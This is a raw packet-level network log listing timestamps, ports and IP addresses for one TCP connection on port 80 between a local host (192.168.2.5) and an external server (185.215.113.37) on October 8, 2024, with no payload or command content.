Oct 8, 2024 03:22:08.944993973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.945005894 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.945025921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.945043087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.945058107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.945069075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.945090055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.945125103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.945127010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.945144892 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.945158005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.945168972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.945193052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.945200920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.945225000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.945235968 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.945257902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.945267916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.945290089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.945300102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.945322990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.945333004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.945352077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.945365906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.945383072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.945394993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.945416927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.945425987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.945449114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.945457935 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.945482969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.945491076 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.945516109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.945528984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.945559978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.988487005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.988534927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.988590956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.988642931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.988678932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.988713980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.988765001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.988744020 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.988744974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.988744974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.988744974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.988744974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.988799095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.988822937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.988822937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.988857985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.988866091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.988895893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.988907099 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.988940001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.988945961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.988989115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.988998890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.989032030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.989049911 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.989068031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.989093065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.989116907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.989139080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.989151001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.989164114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.989197016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.989207029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.989240885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.989259958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.989274025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.989280939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.989309072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.989320993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.989353895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.989358902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.989392996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.989408016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.989425898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.989442110 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.989474058 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.989475965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.989506960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.989527941 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.989540100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.989552021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.989572048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.989586115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.989605904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.989619017 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.989638090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.989649057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.989670992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.989686966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.989701986 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.989720106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.989733934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.989748001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.989767075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.989783049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.989809990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.989815950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.989856005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.989865065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.989890099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.989902973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.989938974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.989938974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.989974022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.989989042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.990010977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.990024090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.990045071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.990060091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.990075111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.990094900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.990107059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.990127087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.990139961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.990154028 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.990171909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.990185976 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.990206957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.990242958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.990248919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.990248919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.990291119 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.029061079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.029112101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.029149055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.029158115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.029205084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.029207945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.029207945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.029253960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.029257059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.029290915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.029304981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.029325008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.029340029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.029357910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.029372931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.029392004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.029438972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.029438972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.029443026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.029486895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.029491901 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.029537916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.029537916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.029608011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.029608965 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.029643059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.029659986 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.029689074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.029691935 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.029741049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.029742002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.029792070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.029793978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.029825926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.029839993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.029865026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.029871941 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.029906988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.029913902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.029941082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.029953957 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.029988050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.029992104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.030028105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.030045033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.030056953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.030070066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.030090094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.030105114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.030133963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.030143976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.030175924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.030190945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.030209064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.030224085 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.030253887 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.030261040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.030313015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.030313969 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.030345917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.030364990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.030386925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.030394077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.030442953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.030442953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.030489922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.030493021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.030524015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.030540943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.030565977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.030571938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.030606031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.030626059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.030639887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.030649900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.030668974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.030684948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.030700922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.030708075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.030734062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.030744076 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.030776024 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.030781984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.030816078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.030838013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.030847073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.030864000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.030894995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.030895948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.030924082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.030941963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.030955076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.030965090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.030988932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.031004906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.031022072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.031028986 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.031054974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.031069994 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.031086922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.031100035 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.031120062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.031133890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.031151056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.031168938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.031199932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.031205893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.031255007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.031255007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.031290054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.031300068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.031322002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.031337976 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.031356096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.031368017 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.031404018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.031414032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.031450987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.031466961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.031482935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.031491995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.031517029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.031531096 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.031548977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.031560898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.031582117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.031595945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.031614065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.031625986 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.031646967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.031658888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.031678915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.031694889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.031713963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.031719923 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.031791925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.031832933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.031912088 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.032067060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.032099962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.032121897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.032141924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.032151937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.032185078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.032200098 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.032217979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.032234907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.032255888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.032270908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.032315969 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.075357914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.075444937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.075454950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.075489998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.075521946 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.075522900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.075557947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.075567961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.075592995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.075593948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.075618029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.075632095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.075645924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.075661898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.075675011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.075696945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.075716019 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.075740099 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.075751066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.075783014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.075795889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.075815916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.075824976 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.075860023 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.075867891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.075902939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.075910091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.075946093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.075952053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.075987101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.076004028 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.076029062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.076036930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.076070070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.076085091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.076102018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.076111078 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.076134920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.076139927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.076181889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.076184988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.076219082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.076229095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.076251030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.076257944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.076283932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.076292992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.076318026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.076328039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.076359987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.076370001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.076401949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.076419115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.076436043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:09.076443911 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:09.076467991 CEST	80	49704	185.215.113.37	192.168.2.5
